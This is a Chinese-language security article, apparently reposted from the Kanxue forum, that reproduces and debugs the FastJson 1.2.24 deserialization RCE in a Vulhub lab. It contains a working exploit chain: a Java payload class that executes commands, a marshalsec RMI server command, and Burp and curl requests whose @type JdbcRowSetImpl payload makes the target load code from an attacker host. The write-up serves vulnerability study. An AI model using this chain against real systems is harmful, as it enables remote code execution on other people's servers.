FastJson复现分析
本文为看雪论坛优秀文章
本文从复现与调试分析两个方向简述了此漏洞,逐步跟踪漏洞执行流程。漏洞的复现与调试分析采用了两套环境:
复现:Windows+WSL_Ubuntu18.04+Vulhub
调试分析:Windows+IDEA+WSL_Ubuntu18.04
漏洞 • 复现
使用 VulHub-Docker 环境
采用 Vulhub 中的FastJson 1.2.24-RCE 集成式Docker环境。
此处需要用到一些其他知识:
git 基础命令
docker/docker-compose 基础命令
curl 基础命令
VulHub 下载命令:
GitHub:git clone https://github.com/vulhub/vulhub.git
Gitee:git clone https://gitee.com/Plastilina/vulhub.git
下载完成后进入相关漏洞环境目录,此处为:/vulhub/fastjson/1.2.24-rce
目录下具有docker-compose.yml文件,为docker compose的配置文件,通过此文件构建一个具有FastJson 1.2.24-RCE漏洞的Docker容器。
构建命令:docker-compose build
启动命令:docker-compose up -d
停止命令:docker-compose down
进入docker容器命令:
docker exec -it <CONTAINER ID> /bin/bash
检测是否正常使用:在本机运行curl http://127.0.0.1:8090
构建恶意访问请求Payload
// javac TouchFile.java
import java.lang.Runtime;
import java.lang.Process;
public class TouchFile {
static {
try {
Runtime rt = Runtime.getRuntime();
String[] commands = {"touch", "/tmp/success"};
# Windows
# String[] commands = {"notepad.exe"};
Process pc = rt.exec(commands);
pc.waitFor();
} catch (Exception e) {
// do nothing
}
}
}
javac TouchFile.java
使用python 创建简易文件服务器
执行命令:python -m http.server [port]
出现下图所示表示成功:
curl http://<存放了payload主机的IP>:1111
使用marshalsec 创建恶意RMI服务
java 基础命令
maven 基础命令
构建完成后,在该目录下会有一个target目录,内含构建好的jar包。我们需要使用的为marshalsec-0.0.3-SNAPSHOT-all.jar。
链接:Gitee: git clone https://gitee.com/Plastilina/marshalsec-jar.git
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer <"文件服务器地址:端口/TouchFile"> <监听端口>
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.RMIRefServer "http://192.168.192.113:8000" 9999
攻击
# BurpSuite
POST / HTTP/1.1
Host: 目标机器:8090
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Connection: close
Content-Type: application/json
Content-Length: 160
{
"b":{
"@type":"com.sun.rowset.JdbcRowSetImpl",
"dataSourceName":"rmi://恶意主机IP:9999/TouchFile",
"autoCommit":true
}
}
# Curl
curl <目标主机IP>:<端口>/user -H "Content-Type:application/json" -d '{"b":{"@type":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<文件服务器ip>:<端口>/TouchFile","autoCommit":true}}'
如果成功将有如下表现:
如果此处未出现任何记录,请检查目标主机与恶意主机是否可以互相ping通,其次请检查,RMI服务是否注册绑定文件服务器(注意在绑定时,填写的恶意主机IP不能是本地回环地址,这是要发送到目标主机的数据)
如果此处未出现任何记录,请检查目标主机与恶意主机之间是否可以互相访问(ping)。其次检查请求包dataSourceName字段是否填写正确。
漏洞 • 分析
IDEA构建调试环境
代码链接:Link
JDK版本:8u102,默认开启com.sun.jndi.rmi.object.trustURLCodebase。为什么要开启这个服务,开启trustURLCodebase表示允许远程加载工厂类,可通过各种协议进行远程调用。
调试执行
使用IDEA调试启动服务端,指定监听端口可在src/main/resources/application.properties目录下修改。
使用curl发送payload
curl <服务端ip>:<端口号>/user -H "Content-Type:application/json" -d '{"b":
{"@type":"com.sn.rowset.JdbcRowSetImpl","dataSourceName":"rmi://<恶意文件服务器主机ip>:<端口号>/TouchFile","autoCommit":true}}'
漏洞分析
观察异常堆栈
1-7行,为JdbcRowSetImpl中反射调用利用链流程。
8-末,为FastJson中的反序列化处理流程。
java.sql.SQLException: JdbcRowSet (连接) JNDI 无法连接
at com.sun.rowset.JdbcRowSetImpl.connect(Unknown Source) ~[na:1.8.0_102]
at com.sun.rowset.JdbcRowSetImpl.setAutoCommit(Unknown Source) ~[na:1.8.0_102]
at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method) ~[na:1.8.0_102]
at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source) ~[na:1.8.0_102]
at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source) ~[na:1.8.0_102]
at java.lang.reflect.Method.invoke(Unknown Source) ~[na:1.8.0_102]
at com.alibaba.fastjson.parser.deserializer.FieldDeserializer.setValue(FieldDeserializer.java:96) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:593) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_2_JdbcRowSetImpl.deserialze(Unknown Source) ~[na:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:368) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1327) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parse(DefaultJSONParser.java:1293) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parseExtra(DefaultJSONParser.java:1490) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseField(JavaBeanDeserializer.java:766) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:600) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.parseRest(JavaBeanDeserializer.java:922) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.deserializer.FastjsonASMDeserializer_1_User.deserialze(Unknown Source) ~[na:na]
at com.alibaba.fastjson.parser.deserializer.JavaBeanDeserializer.deserialze(JavaBeanDeserializer.java:184) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.parser.DefaultJSONParser.parseObject(DefaultJSONParser.java:639) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:339) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:307) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:270) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:370) ~[fastjson-1.2.24.jar!/:na]
at com.alibaba.fastjson.JSON.parseObject(JSON.java:452) ~[fastjson-1.2.24.jar!/:na]
流程跟踪
针对JdbcRowSetImpl中反射调用利用链流程跟踪。
在Method.invoke处设置断点,发送Payload触发断点。
至此,通过RMI协议加载并实例化远程类,触发构造方法、静态方法等等,达到了攻击的目的。
JSON.parseObject主要做了这么几件事:
JSON.parseObject主要做了这么几件事:
这里的JavaBeanDeserializer.deserialze对应着上面的序列化器。采用了JAVA的ASM技术动态的生成了类,并使用其创建了序列化器。其主要做了一下几件事:
JavaBeanDeserializer.parseField内会做如下几件事:
2. 当没有匹配到对应的反序列化器时,流程走向DefaultJSONParser.parseExtra。
而parseExtra内会匹配extraTypeProviders,匹配失败的话流程走向DefaultJSONParser.parse。
DefaultJSONParser.parse内会做如下几件事:
这里的LBRACE对应着字符{。然后调用DefaultJSONParer.parseObject一个重载再次解析。
DefaultJSONParer.parseObject
重点来了,流程如下:
漏洞 • 总结
反序列化链
如何触发反序列化链的调用
类似的利用链还有com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl。
可以发现,在首次反序列化失败后,流程会扫描传入的JSON字符串,并根据@type字段的值进行指定类型的构造,这也是此次漏洞主要的点。
fastjson历史漏洞研究(一)
基于Java反序列化RCE - 搞懂RMI、JRMP、JNDI
Fastjson 流程分析及 RCE 分析
看雪ID:肆零柒柒
https://bbs.pediy.com/user-home-876724.htm
*本文由看雪论坛 肆零柒柒 原创,转载请注明来自看雪社区。
# 往期推荐
球分享
球点赞
球在看
点击“阅读原文”,了解更多!